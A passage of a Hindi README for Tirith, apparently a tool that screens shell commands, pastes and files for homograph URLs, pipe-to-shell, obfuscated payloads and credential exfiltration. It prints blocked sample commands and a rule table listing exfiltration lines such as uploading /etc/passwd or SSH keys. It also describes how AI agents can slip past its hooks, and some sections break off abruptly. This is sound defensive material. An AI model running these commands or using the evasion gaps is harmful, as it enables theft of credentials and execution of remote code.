आप नहीं कर सकते। आपका टर्मिनल भी नहीं कर सकता। दोनों `і` अक्षर सिरिलिक (U+0456) हैं, लैटिन `i` नहीं। दूसरा URL हमलावर के सर्वर पर रिज़ॉल्व होता है। स्क्रिप्ट आपके ध्यान देने से पहले ही निष्पादित हो जाती है।

ब्राउज़रों ने इसे वर्षों पहले हल कर लिया था। टर्मिनल अभी भी यूनिकोड, ANSI एस्केप, और अदृश्य अक्षरों को बिना किसी प्रश्न के रेंडर करते हैं। AI एजेंट शेल कमांड चलाते हैं और पैकेज इंस्टॉल करते हैं बिना यह जाँचे कि अंदर क्या है।

**Tirith द्वार पर खड़ा है।** यह कमांड, पेस्ट की गई सामग्री, और स्कैन की गई फ़ाइलों को होमोग्राफ़ URL, अस्पष्ट पेलोड, क्रेडेंशियल एक्सफ़िल्ट्रेशन, दुर्भावनापूर्ण AI स्किल्स/कॉन्फ़िग्स, और हस्ताक्षरित थ्रेट इंटेलिजेंस डेटाबेस से ज्ञात-खराब पैकेज/डोमेन/IP के लिए इंटरसेप्ट करता है, इससे पहले कि वे निष्पादित हों।```bash
brew install tirith

> [!TIP]
> `eval "$(tirith init)"` आपके वर्तमान shell का स्वतः पता लगाता है (यह parent process की जाँच करता है और आवश्यकता पड़ने पर `$SHELL` पर वापस आ जाता है)। स्पष्ट `--shell` flag की आवश्यकता केवल तब होती है जब आप detection को override करना चाहते हैं।

इंटरैक्टिव-shell कवरेज के लिए बस इतना ही। उस shell द्वारा स्वीकार किए गए कमांड तब जाँचे जाते हैं जब hook लोड और स्वस्थ होता है; सटीक blocking व्यवहार shell और mode पर निर्भर करता है। इंस्टॉलेशन और अपग्रेड के बाद `tirith doctor` चलाएँ, और hook को authorization boundary मानने से पहले [enforcement by shell](#enforcement-by-shell) पढ़ें। साफ़ कमांड चुप रहते हैं और सामान्यतः fast path लेते हैं।

[npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages), और [अधिक](#install) के माध्यम से भी उपलब्ध है।

---

## इसे काम करते हुए देखें

**Homograph attack, निष्पादन से पहले अवरुद्ध:**```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

चेतावनी stderr पर प्रिंट होती है। कमांड फिर भी चलता है।

**Base64 decode-execute श्रृंखला, अवरुद्ध:**```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

सभी curl/wget अपलोड फ़्लैग, env वेरिएबल्स (`$AWS_SECRET_ACCESS_KEY`), और कमांड सब्स्टिट्यूशन को कवर करता है।

**स्कैन पर पकड़ी गई दुर्भावनापूर्ण स्किल फ़ाइल:**```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

कुछ नहीं। शून्य आउटपुट। तुम भूल जाते हो कि tirith चल रहा है।

---

## यह क्या पकड़ता है

**35 श्रेणियों में 244 डिटेक्शन नियम।**

| श्रेणी | यह क्या रोकता है |
|----------|--------------|
| **होमोग्राफ़ हमले** | होस्टनेम में सिरिलिक/ग्रीक समान दिखने वाले अक्षर, punycode डोमेन, मिश्रित-स्क्रिप्ट लेबल, समान दिखने वाले TLD, भ्रमित करने वाले डोमेन, टेक्स्ट-स्तरीय भ्रमित डिटेक्शन (गणितीय अल्फ़ान्यूमेरिक्स, एक ही शब्द में मिश्रित-स्क्रिप्ट) |
| **टर्मिनल इंजेक्शन** | ANSI एस्केप सीक्वेंस, bidi ओवरराइड, ज़ीरो-विड्थ कैरेक्टर, यूनिकोड टैग, अदृश्य गणितीय ऑपरेटर, वेरिएशन सेलेक्टर, हंगुल फ़िलर |
| **स्टेग्नोग्राफ़ी रक्षा** | अदृश्य व्हाइटस्पेस एन्कोडिंग (12 यूनिकोड स्पेस वेरिएंट), मंगोलियन वॉवेल सेपरेटर, हंगुल फ़िलर कैरेक्टर, गणितीय अल्फ़ान्यूमेरिक प्रतिस्थापन, st3gg-शैली टेक्स्ट स्टेग्नोग्राफ़ी के विरुद्ध रक्षा |
| **पाइप-टू-शेल** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, साथ ही कई रैपर, डिकोड, और इनडायरेक्शन पथ |
| **Base64 डिकोड-एग्ज़ीक्यूट** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, sudo/env रैपर के माध्यम से डिकोड चेन |
| **डेटा एक्सफ़िल्ट्रेशन** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, env वेरिएबल अपलोड (`$AWS_SECRET_ACCESS_KEY`), कमांड सब्स्टिट्यूशन एक्सफ़िल |
| **कोड फ़ाइल स्कैनिंग** | ऑब्फ़स्केटेड पेलोड (`eval(atob(...))`), डायनामिक कोड एक्ज़ीक्यूशन (`exec(b64decode(...))`), JS/Python फ़ाइलों में `fetch`/`requests.post` के माध्यम से सीक्रेट एक्सफ़िल्ट्रेशन |
| **क्रेडेंशियल डिटेक्शन** | AWS कीज़, GitHub PATs, Stripe/Slack/SendGrid/Anthropic/GCP/npm टोकन, प्राइवेट की ब्लॉक, साथ ही एन्ट्रॉपी-आधारित जेनेरिक सीक्रेट डिटेक्शन |
| **पोस्ट-कॉम्प्रोमाइज़ व्यवहार** | प्रोसेस मेमोरी स्क्रैपिंग (`/proc/*/mem`), Docker रिमोट प्रिविलेज एस्केलेशन, क्रेडेंशियल फ़ाइल स्वीप, TeamPCP और UNC1069 पोस्ट-कॉम्प्रोमाइज़ टूलिंग के विरुद्ध कैलिब्रेटेड |
| **कमांड सुरक्षा** | डॉटफ़ाइल ओवरराइट, संवेदनशील पथों पर आर्काइव एक्सट्रैक्शन, क्लाउड मेटाडेटा एंडपॉइंट एक्सेस, प्राइवेट नेटवर्क एक्सेस |
| **असुरक्षित ट्रांसपोर्ट** | शेल को पाइप किया गया सादा HTTP, `curl -k`, अक्षम TLS वेरिफ़िकेशन, गंतव्य छिपाने वाले शॉर्टन किए गए URL |
| **एनवायरनमेंट** | प्रॉक्सी हाईजैकिंग, संवेदनशील env एक्सपोर्ट, env के माध्यम से कोड इंजेक्शन, इंटरप्रेटर हाईजैक, शेल इंजेक्शन env |
| **कॉन्फ़िग फ़ाइल सुरक्षा** | कॉन्फ़िग इंजेक्शन, संदिग्ध संकेतक, कॉन्फ़िग में नॉन-ASCII/अदृश्य यूनिकोड, MCP सर्वर सुरक्षा (असुरक्षित/अविश्वसनीय/डुप्लिकेट/अनुमतिपूर्ण) |
| **इकोसिस्टम खतरे** | Git क्लोन टाइपोस्क्वैट्स, अविश्वसनीय Docker रजिस्ट्री, pip/npm URL इंस्टॉल, web3 RPC एंडपॉइंट, vet-not-configured |
| **इंस्टॉल-कमांड सुरक्षा** | पाइप किए गए डाउनलोड से जोड़े गए APT रेपो, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (अक्षम सिग्नेचर चेक), रॉ/शॉर्टन किए गए रिमोट मैनिफ़ेस्ट के विरुद्ध `kubectl apply -f`, अविश्वसनीय रेपो से Helm चार्ट, अविश्वसनीय रिमोट स्रोतों से Terraform मॉड्यूल, मनमाने URL से `brew install`/`tap` |
| **पथ विश्लेषण** | नॉन-ASCII पथ, पथों में होमोग्लिफ़, डबल-एन्कोडिंग |
| **रेंडर किया गया कंटेंट** | छिपा CSS/रंग कंटेंट, छिपे HTML एट्रिब्यूट, कमेंट कंटेंट विश्लेषण (High पर प्रॉम्प्ट इंजेक्शन, Medium पर विनाशकारी कमांड) |
| **क्लोकिंग डिटेक्शन** | सर्वर-साइड क्लोकिंग (बॉट बनाम ब्राउज़र), क्लिपबोर्ड छिपा कंटेंट, PDF छिपा टेक्स्ट |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, Windows Defender एक्सक्लूज़न (`Add-MpPreference -Exclusion*`), इनलाइन `iex (iwr ...)` डाउनलोड-एग्ज़ीक्यूट |
| **टर्मिनल आउटपुट रक्षा** | OSC 52 क्लिपबोर्ड राइट, नकली प्रॉम्प्ट, OSC 8 हाइपरलिंक और टाइटल / क्लियर-स्क्रीन मैनिपुलेशन, कमांड या MCP टूल आउटपुट के अंदर प्रॉम्प्ट इंजेक्शन (रॉ और डीऑब्फ़स्केटेड दोनों स्कैन किए जाते हैं, इसलिए अदृश्य-कैरेक्टर, भ्रमित करने वाले, स्पेस किए गए, leetspeak, और छोटे base64 / hex एवेज़न भी पकड़े जाते हैं), और आउटपुट डेटा एक्सफ़िल्ट्रेशन (बीकन URL या "एक सीक्रेट पढ़ो फिर भेज दो" निर्देश) |
| **ऑपरेशनल कॉन्टेक्स्ट** | लेबल-किए गए-prod क्लाउड / k8s कॉन्टेक्स्ट और SSH होस्ट के विरुद्ध विनाशकारी कमांड, मेल खाते सेव किए गए प्लान के बिना Terraform / Pulumi / OpenTofu `apply`, जोखिम भरा sudo एस्केलेशन, प्रिविलेज्ड `docker run` |
| **वर्कस्टेशन और पर्सिस्टेंस** | ढीली-अनुमति वाली क्रेडेंशियल फ़ाइलें और प्लेनटेक्स्ट टोकन (`~/.ssh`, `~/.aws`, `.npmrc`), पर्सिस्टेंस फ़ुटहोल्ड (shell rc, `authorized_keys`, crontab, LaunchAgents, git `core.hooksPath`), PATH-हाईजैक क्रम, एक्ज़ीक्यूटेबल प्रोवेनेंस, जोखिम भरे एलियास, और संवेदनशील env-var लाइफ़साइकल |
| **ब्लास्ट रेडियस और सहसंबंध** | रेपो से बाहर निकलने वाले डिलीट, सामूहिक डिलीशन, जोखिम भरे स्रोतों से डाउनलोड की गई फ़ाइलों को निष्पादित करना, और सेशन चेन जैसे सीक्रेट-राइट फिर नेटवर्क या डिलीट फिर `git push --force` |
| **ट्रस्ट, अटेस्टेशन और प्रोवेनेंस** | हस्ताक्षरित कमांड-कार्ड बेमेल, कैनरी हनीटोकन स्पर्श, पेस्ट स्रोत-होस्ट बेमेल, कॉलर-ओरिजिन (एजेंट) पॉलिसी अस्वीकृति, MCP लॉकफ़ाइल ड्रिफ़्ट, और ज्ञात-सुरक्षित स्नैपशॉट के विरुद्ध AI-कॉन्फ़िग ड्रिफ़्ट |
| **Web3 कमांड गार्ड** | Cast / Forge / Hardhat / Solana / Anchor कमांड से ऑन-चेन राइट (High जब वही कमांड घोषित सुरक्षा नियंत्रण को भी अक्षम करता है), कमांड लाइन पर रॉ प्राइवेट-की, keypair, या mnemonic सामग्री, और एक RPC एंडपॉइंट या साइनर जिस पर ऑपरेटर की `web3_guard` पॉलिसी भरोसा नहीं करती। केवल व्याकरण और पॉलिसी: कोई चेन स्टेट नहीं पढ़ी जाती, कोई ट्रांज़ैक्शन सिम्युलेट नहीं किया जाता, और किसी एड्रेस को स्कोर नहीं किया जाता |
| **वॉलेट एक्सफ़िल्ट्रेशन** | समीक्षित वॉलेट, कीस्टोर, ब्राउज़र-वॉलेट, और Solana-keypair सामग्री एक सिद्ध रिमोट सिंक की ओर बहती हुई, जिसमें आर्काइव, base64, hex, कंप्रेसर, और एन्क्रिप्टर स्टेजिंग हॉप और `xargs` / `find -exec` ऑपरेंड प्रमोशन शामिल हैं। केवल-स्रोत रीड जानबूझकर कोई फ़ाइंडिंग नहीं है |
| **CI आर्टिफ़ैक्ट पॉइज़निंग** | एक फ़ोर्क-पहुँच योग्य वर्कफ़्लो जो बिल्ड आर्टिफ़ैक्ट अपलोड करता है, जिसे एक प्रिविलेज्ड `workflow_run` वर्कफ़्लो द्वारा उपभोग किया जाता है जो ट्रिगर करने वाले रन से बंधा होता है और फिर उसे निष्पादित, स्रोत, PATH-म्यूटेट, प्रकाशित, या डिप्लॉय करता है |

---

## tirith किस चीज़ से रक्षा नहीं करता

Tirith कमांड, पेस्ट किए गए टेक्स्ट, और फ़ाइलों की **संरचना** का विश्लेषण उनके
निष्पादन से पहले करता है। यह एक प्री-एग्ज़ीक्यूशन गेट है, रनटाइम रक्षा नहीं, और
इसमें शामिल नहीं है:

- **सामान्य रनटाइम सैंडबॉक्सिंग:** साधारण शेल हुक और `tirith check` चेतावनी देते हैं
  या ब्लॉक करते हैं; वे लॉन्च के बाद किसी कमांड को आइसोलेट नहीं करते। स्पष्ट
  `capsule run --preset untrusted-project` और लागू करने वाले `pkg install` पथ
  केवल समर्थित x86_64 Linux होस्ट पर फ़ेल-क्लोज़्ड कंटेनमेंट प्रदान करते हैं।
- **पोस्ट-एग्ज़ीक्यूशन नेटवर्क मॉनिटरिंग:** लॉन्च के बाद कोई प्रोसेस नेटवर्क पर क्या
  करती है, यह दायरे से बाहर है।
- **सामान्य मैलवेयर / पेलोड डिटेक्शन:** tirith एंटीवायरस नहीं है और किसी पेलोड को
  डिटोनेट नहीं करता। यह संरचना का विश्लेषण करता है और हस्ताक्षरित थ्रेट डेटाबेस से
  सटीक संकेतक और आर्टिफ़ैक्ट/फ़ाइल हैश मैच कर सकता है, लेकिन मैच की अनुपस्थिति से
  कोई अज्ञात पेलोड बेनाइन सिद्ध नहीं होता। (`tirith run` डाउनलोड किए गए स्क्रिप्ट की
  संरचना जाँचता है; यह फिर भी डायनामिक मैलवेयर विश्लेषण नहीं है।)
- **एक प्रिविलेज्ड root/admin हमलावर:** जो कोई पहले से root या admin है, वह tirith को
  तुच्छता से बायपास कर सकता है। यह धोखे में डाले गए इनपुट से बचाव करता है, उस हमलावर
  से नहीं जो पहले से मशीन का मालिक है।
- **एंटी-डीबगिंग / एंटी-टैम्परिंग:** tirith रिवर्स इंजीनियरिंग का प्रतिरोध नहीं करता
  और स्थानीय हमलावर से अपनी बाइनरी की रक्षा नहीं करता।
- **ऑन-चेन विश्लेषण:** Web3 गार्ड कमांड व्याकरण पढ़ता है। यह चेन स्टेट नहीं पढ़ता,
  ट्रांज़ैक्शन सिम्युलेट नहीं करता, ENS रिज़ॉल्व नहीं करता, एड्रेस स्कोर नहीं करता,
  कॉन्ट्रैक्ट ऑडिट नहीं करता, या मेमपूल नहीं देखता।
- **एक npm आर्टिफ़ैक्ट फ़ायरवॉल:** tirith npm कमांड व्याकरण और रजिस्ट्री पहचान तथ्यों
  को पार्स करता है, और प्रोजेक्ट के स्वयं के npm से उसकी सिग्नेचर और प्रोवेनेंस स्थिति
  पूछ सकता है। यह npm जो tarball इंस्टॉल करता है उसे डाउनलोड, एक्सट्रैक्ट, क्वारंटीन,
  या बाइंड नहीं करता। कंटेन्ड, हैश-पिन्ड आर्टिफ़ैक्ट फ़ायरवॉल केवल Python के लिए है।
- **ब्राउज़र फ़ोरेंसिक्स या मॉनिटरिंग:** `tirith browser audit` एक्सटेंशन सोर्स ट्री का
  एक स्पष्ट, वन-शॉट, रीड-ओनली इंटीग्रिटी ऑडिट है। यह कभी कुकीज़, इतिहास, सेव किए गए
  पासवर्ड, स्टोरेज, वॉलेट डेटाबेस, या `Local State` नहीं पढ़ता, कभी कुछ हटाता या
  क्वारंटीन नहीं करता, और इसका कोई डेमन नहीं है।
- **रिप्रोड्यूसिबल बिल्ड:** एक `attest` रसीद रिकॉर्ड करती है कि एक क्षण में दो ट्री में
  क्या था। Tirith आपका बिल्ड नहीं चलाता और यह नहीं कह सकता कि आउटपुट स्रोत से आया।
  एक डिप्लॉयमेंट रसीद एक पॉइंट-इन-टाइम माप है, निरंतर मॉनिटरिंग नहीं।

पूर्ण थ्रेट मॉडल और स्पष्ट नॉन-गोल्स के लिए [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md)
देखें, और tirith क्या डिटेक्ट करता है, निर्णय लेता है, लागू करता है, कंटेन करता है,
और अटेस्ट करता है, इसका क्षमता-दर-क्षमता लेजर के लिए
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) देखें।

---

## ज्ञात सीमाएँ

- **शेल-हुक नाज़ुकता:** सुरक्षा इस पर निर्भर करती है कि एक शेल हुक इंस्टॉल और सक्रिय
  रहे। हुक शेल, शेल वर्शन, प्रॉम्प्ट फ़्रेमवर्क, और हिस्ट्री टूल्स में टूट सकते हैं या
  चुपचाप कमज़ोर हो सकते हैं। लाइव स्थिति जाँचने के लिए `tirith doctor` चलाएँ और
  केवल-चेतावनी वाली गिरावट पर नज़र रखें।
- **पूर्ण या रीड-ओनली अस्थायी स्टोरेज:** zsh और fish Tirith को इनवोक करने से पहले एक
  स्क्रैच फ़ाइल के माध्यम से इनपुट कैप्चर करते हैं और जब वह फ़ाइल बनाई नहीं जा सकती
  तो फ़ेल क्लोज़्ड होते हैं। इसलिए एक पूर्ण/रीड-ओनली `TMPDIR` हर कमांड को अस्वीकार
  कर सकता है, और `TIRITH=0` रिकवर नहीं कर सकता क्योंकि बाइनरी तक कभी पहुँचा ही नहीं
  जाता। [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md) में रिकवरी चरणों का पालन करें।
- **प्लेटफ़ॉर्म-सीमित सुविधाएँ:** डेमन मोड, `tirith run`, और `tirith fetch` Unix
  सरफ़ेस हैं। `tirith run --no-exec` वहाँ एक इंस्पेक्शन वर्कफ़्लो बना रहता है, लेकिन
  लाइव रिमोट-स्क्रिप्ट एक्ज़ीक्यूशन केवल Linux है और हर अन्य होस्ट पर डाउनलोड से पहले
  मना कर देता है। `tirith setup` क्रॉस-प्लेटफ़ॉर्म है, जबकि प्रत्येक होस्ट इंटीग्रेशन
  का अपना प्लेटफ़ॉर्म कॉन्ट्रैक्ट है (उदाहरण के लिए Cline में POSIX और Windows रैपर
  हैं; OpenHands का ब्लॉकिंग हुक केवल Unix है)।
- **पैकेज-नाम निष्कर्षण दायरा:** भाषा इकोसिस्टम (pip, npm/yarn/pnpm/bun, cargo, gem,
  go, composer, dotnet, mvn/gradle) को कवर करता है, डिस्ट्रो पैकेज मैनेजर (`apt`,
  `dnf`, `yum`, `pacman`) को नहीं।
- **AI-एजेंट चेतावनियाँ:** शेल-हुक इंटरसेप्शन केवल उन कमांड की रक्षा करता है जो एक
  हुक किए गए इंटरैक्टिव शेल से गुज़रते हैं। एक एजेंट जो नॉन-इंटरैक्टिव शेल स्पॉन करता
  है, सीधे `exec` कॉल करता है, या हुक लोड किए बिना चलता है, उस परत से कवर नहीं होता।
  MCP रजिस्ट्रेशन सहकारी है जब तक कॉल गेटवे से रूट न हों। एक समर्थित प्री-टूल हुक
  स्वचालित रूप से होस्ट कमांड को रोक सकता है, लेकिन केवल तब जब उस होस्ट ने उसे लोड
  और सम्मानित किया हो; कई होस्ट हुक प्रोसेस में त्रुटि होने पर फ़ेल ओपन करते हैं।
  प्रभावी होस्ट सत्यापित करें, केवल कॉन्फ़िग फ़ाइल की उपस्थिति नहीं।
- **होस्ट-हुक विफलता व्यवहार:** Grok Build, Cline, और OpenHands अपने हुक प्रोसेस के
  क्रैश या टाइमआउट होने पर टूल को अनुमति देते हैं। Tirith का एडाप्टर डिफ़ॉल्ट रूप से
  अपनी त्रुटियों पर मना करता है, लेकिन यह किसी होस्ट को ऐसी प्रोसेस का सम्मान करने
  के लिए बाध्य नहीं कर सकता जो रिटर्न नहीं हुई। यदि पिन किया गया इंटरप्रेटर हट जाए तो
  सेटअप दोबारा चलाएँ और हर अपग्रेड के बाद वास्तविक होस्ट का परीक्षण करें।
- **Prime Agent IPython स्रोत-स्तरीय निष्कर्षण है:** गार्ड शेल एस्केप/मैजिक और सामान्य
  `os`, `subprocess`, और `pty.spawn` रूपों को कवर करता है, लेकिन यह Python रनटाइम
  सैंडबॉक्स नहीं है। पहले के सेल में परिभाषित एक रैपर, `getattr`/`__import__` जैसा
  रिफ़्लेक्शन, या एक तृतीय-पक्ष पैकेज जो प्रोसेस स्पॉन करता है, उससे बच सकता है जो
  एक सोर्स लेक्सर सिद्ध कर सकता है।
- **कस्टम-DLP और मशीन आउटपुट:** व्यापक `dlp_custom_patterns` वर्तमान में रिकर्सिवली
  रिडैक्ट किए गए JSON/MCP प्रोजेक्शन में प्रोटोकॉल-स्वामित्व वाले स्ट्रिंग मानों को
  फिर से लिख सकते हैं, जिसमें जेनरेट किए गए आइडेंटिफ़ायर या रसीद मेटाडेटा शामिल हैं।
  हस्ताक्षरित या मशीन-स्थिर आउटपुट का उपभोग करते समय ऐसे पैटर्न से बचें जो संरचनात्मक
  मानों से मेल खा सकें; रिलीज़ से पहले इसके लिए फ़ील्ड-अवेयर रिडैक्शन की आवश्यकता है।
- **अनअटेंडेड इंस्टॉल अनुमोदन:** `tirith install --yes` को पैकेज-मैनेजर टास्क गेट के
  अनअटेंडेड `require_approval` चैनल के रूप में स्वीकार किया जाता है। यह एक स्पष्ट
  ऑपरेटर फ़्लैग है, मानव TTY पुष्टि का प्रमाण नहीं। जहाँ अनअटेंडेड निष्पादन असंभव
  होना चाहिए वहाँ ब्लॉकिंग टास्क पॉलिसी का उपयोग करें।
- **इंटरप्रेटेड MCP बाइंडिंग:** सटीक इंटरप्रेटेड-सर्वर बाइंडिंग एक वास्तविक डिपेंडेंसी
  क्लोज़र खोजने के बजाय निश्चित कैप के तहत रिपॉज़िटरी ट्री को हैश करती है, इसलिए बड़े
  ट्री, सिमलिंक, या विशेष फ़ाइलें लॉन्च से मना कर सकती हैं। यह स्पॉन से पहले फिर से
  वैलिडेट करती है लेकिन सील किए गए समीक्षित डिस्क्रिप्टर से इंटरप्रेटर इनपुट निष्पादित
  नहीं करती; समवर्ती समान-उपयोगकर्ता म्यूटेशन एक वेरिफ़ाई-टू-लोड गैप बना रहता है।
- **टास्क-गेट कवरेज:** टास्क इफ़ेक्ट इन्फ़रेंस Web3 शेल व्याकरण को मॉडल करता है और
  कुछ और नहीं, इसलिए लगभग हर साधारण SHELL कमांड INCOMPLETE रिपोर्ट होती है।
  `task_gate.mode: enforce` के साथ `action_incomplete_analysis: block` उन्हें उन पाँच
  सीमाओं पर अस्वीकार करता है जो शेल एनवेलप सबमिट करती हैं, और चार पैकेज और
  कॉन्फ़िग-राइट सीमाओं पर कुछ नहीं बदलता, जो हमेशा पूर्ण के रूप में आकलन करती हैं।
  `warn` डिफ़ॉल्ट है। विकल्प, `effects_denied_for_untrusted_sources`, हर कॉल पर हर
  स्वामित्व वाली सीमा पर नामित इफ़ेक्ट को अस्वीकार करता है, जिसमें आपके द्वारा स्वयं
  टाइप किए गए कमांड भी शामिल हैं, क्योंकि उन सीमाओं पर कोई स्रोत कभी विश्वसनीय नहीं
  माना जाता।
- **कंटेनमेंट x86_64 Linux है:** `tirith capsule run --preset untrusted-project` और
  लागू करने वाला `tirith pkg install` केवल x86_64 Linux पर उपयोगी Landlock ABI के साथ
  लागू करने योग्य हैं। हर अन्य होस्ट कुछ भी कॉपी या स्पॉन होने से पहले मना कर देता है,
  बिना किसी कमज़ोर फ़ॉलबैक के। डोमेन एलाउ-लिस्टिंग किसी भी बैकएंड द्वारा प्रस्तावित
  नहीं है।
- **नेस्टेड-शेल एक्सफ़िल्ट्रेशन गैप:** एक नेस्टेड शेल बॉडी के अंदर एक संवेदनशील रीड
  जिसका सिंक उसके बाहर है, जैसे `bash -c "cat <wallet>" | curl -d @- <url>`, आज
  सहसंबंधित नहीं है। वही चेन पूरी तरह `-c` बॉडी के अंदर या पूरी तरह बाहर डिटेक्ट होती है।
- **एग्ज़ीक्यूशन-एविडेंस ग्रेड:** एक Linux लॉन्च की पुष्टि केवल तब होती है जब उसका
  रुका हुआ `exec` ट्रांज़िशन, टिकाऊ स्टेट अपडेट, अधिकृत रिज़्यूम, और टर्मिनल लॉन्चर
  प्रमाण सभी पूर्ण हों। एक गेटवे कॉल की पुष्टि केवल एक सटीक सहसंबंधित परिणाम से होती
  है। शेल अवलोकन और फ़ॉरवर्ड किए गए गेटवे कॉल जो टाइमआउट होते हैं या रद्द होते हैं,
  रूढ़िवादी अनसुलझे साक्ष्य बने रहते हैं, कभी पुष्ट निष्पादन नहीं। सख्त शेल रसीदें
  इंटरैक्टिव bash, zsh, और fish के लिए उपलब्ध हैं; PowerShell केवल प्रीफ़्लाइट रहता है।
  नेटिव Linux लॉन्चर व्यवह```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date

**डिफ़ॉल्ट रूप से ऑफ़लाइन।** बिना किसी फ़्लैग के, हर सिग्नल स्थानीय होता है, बिना किसी नेटवर्क कॉल के: (1) **नाम बनाम लोकप्रिय पैकेज**: ज्ञात-लोकप्रिय, अज्ञात, या किसी लोकप्रिय नाम का एक-संपादन निकट-मिस (क्लासिक typosquat/slopsquat आकार), स्थानीय खतरा डेटाबेस के `popular` सेट से; (2) **ज्ञात दुर्भावनापूर्ण typosquat**: थ्रेट DB के `typosquat` इंडेक्स में एक सटीक मिलान; (3) **इंस्टॉल / लाइफसाइकल स्क्रिप्ट** और (4) **बंडल किए गए बाइनरी ब्लॉब्स**, जो केवल तब पता लगाए जाते हैं जब पैकेज सामग्री स्थानीय रूप से उपलब्ध हो (`node_modules` / `site-packages` के अंतर्गत, या `--path` के माध्यम से)। tirith **कभी डाउनलोड नहीं करता** पैकेज को।

**`--online` रजिस्ट्री प्रोवेनेंस जोड़ता है।** यह पैकेज की रजिस्ट्री (npm, PyPI, या crates.io) से *उसी* फैक्टर-सम मॉडल में छह और कारकों के लिए परामर्श करता है: पैकेज/संस्करण आयु, बिना मालिकों वाला एक स्थापित पैकेज, एक असामान्य संस्करण स्पाइक, बहुत कम डाउनलोड, एक अनुपस्थित स्रोत रेपो, और yanked/deprecated स्थिति। यह एकमात्र पथ है जिस पर `package risk` स्वयं नेटवर्क तक पहुँचता है; `tirith check` और डेमन मोड का एक अलग, नीति-नियंत्रित रनटाइम संवर्धन पथ है। `--offline` / `TIRITH_OFFLINE` इस स्कोरर को बाध्य करके ऑफ़लाइन कर देते हैं। विफलताएँ एक ईमानदार `api signals: unavailable` के साथ ऑफ़लाइन स्कोर पर वापस आ जाती हैं, और प्रतिक्रियाएँ एक TTL के साथ कैश की जाती हैं ताकि बार-बार चलाने से रजिस्ट्रियों पर दबाव न पड़े।

स्कोर सलाहकारी और स्वतंत्र है: `package risk` एक डिटेक्शन नियम नहीं है और किसी भी निर्णय, एग्ज़िट कोड, या ऑडिट लॉग को नहीं बदलता।

### इकोसिस्टम स्कैन और निर्भरता जोखिम

`tirith ecosystem scan [path]` `package risk` का डायरेक्टरी-स्तरीय साथी है। यह एक प्रोजेक्ट को वॉक करता है, हर उस निर्भरता मैनिफ़ेस्ट को खोजता है जिसे वह समझता है, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), और **हर घोषित निर्भरता** को उसी नियतात्मक `package_risk` फैक्टर इंजन से स्कोर करता है।```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report

जाँच में व्हील संरचना और पहचान, RECORD अखंडता और फ़ाइल स्वामित्व, Python स्टार्टअप हुक, नेटिव ELF/Mach-O/PE एक्सटेंशन, निष्पादन किनारे, और वितरणों में लोडर/पेलोड विभाजन शामिल हैं। `pkg graph`, `pkg diff`, `pkg attest`, और `pkg receipt` संबंधित प्रोवेनेंस और रसीद साक्ष्य उजागर करते हैं।

प्रवर्तन पथ **केवल x86_64 Linux पर pip** का समर्थन करता है और इसके लिए प्रलेखित नेटिव प्राधिकरण, एक नई समर्पित लक्ष्य निर्देशिका, और एक नामांकित पूर्णतः स्थिर नेटिव `uv` की आवश्यकता होती है। प्रत्येक असमर्थित प्लेटफ़ॉर्म pip शुरू होने से पहले बंद हो जाता है; यह कभी भी सामान्य इंस्टॉल पर वापस नहीं आता। npm और Cargo गैर-प्रवर्तनकारी साक्ष्य सतह बने रहते हैं। देखें
[0.4.0 रिलीज़ नोट्स](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) और
[कमांड संदर्भ](https://github.com/sheeki03/tirith/blob/main/docs/commands.md)।

**आक्रमण परिवार जिनके लिए tirith बनाया गया है** (उदाहरणात्मक, वर्तमान कोड द्वारा पकड़े जाने का दावा नहीं):

| घटना | वर्ष | आक्रमण का स्वरूप |
|---|---|---|
| [Shai-Hulud npm worm](https://socket.dev/blog/shai-hulud-worm) | 2025 | स्व-प्रसारित पैकेज मैलवेयर; 180+ पैकेजों से GitHub टोकन और AWS कुंजियाँ चुराईं, निष्कर्षों को सार्वजनिक `Shai-Hulud` रेपो में प्रकाशित किया |
| [Slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks) | 2023 से जारी | हमलावर npm / PyPI / crates.io पर LLM-द्वारा मनगढ़ंत पैकेज नाम पंजीकृत करते हैं; [USENIX 2025](https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-742-spracklen.pdf) ने पाया कि 58% मनगढ़ंत नाम रनों में दोहराए जाते हैं |
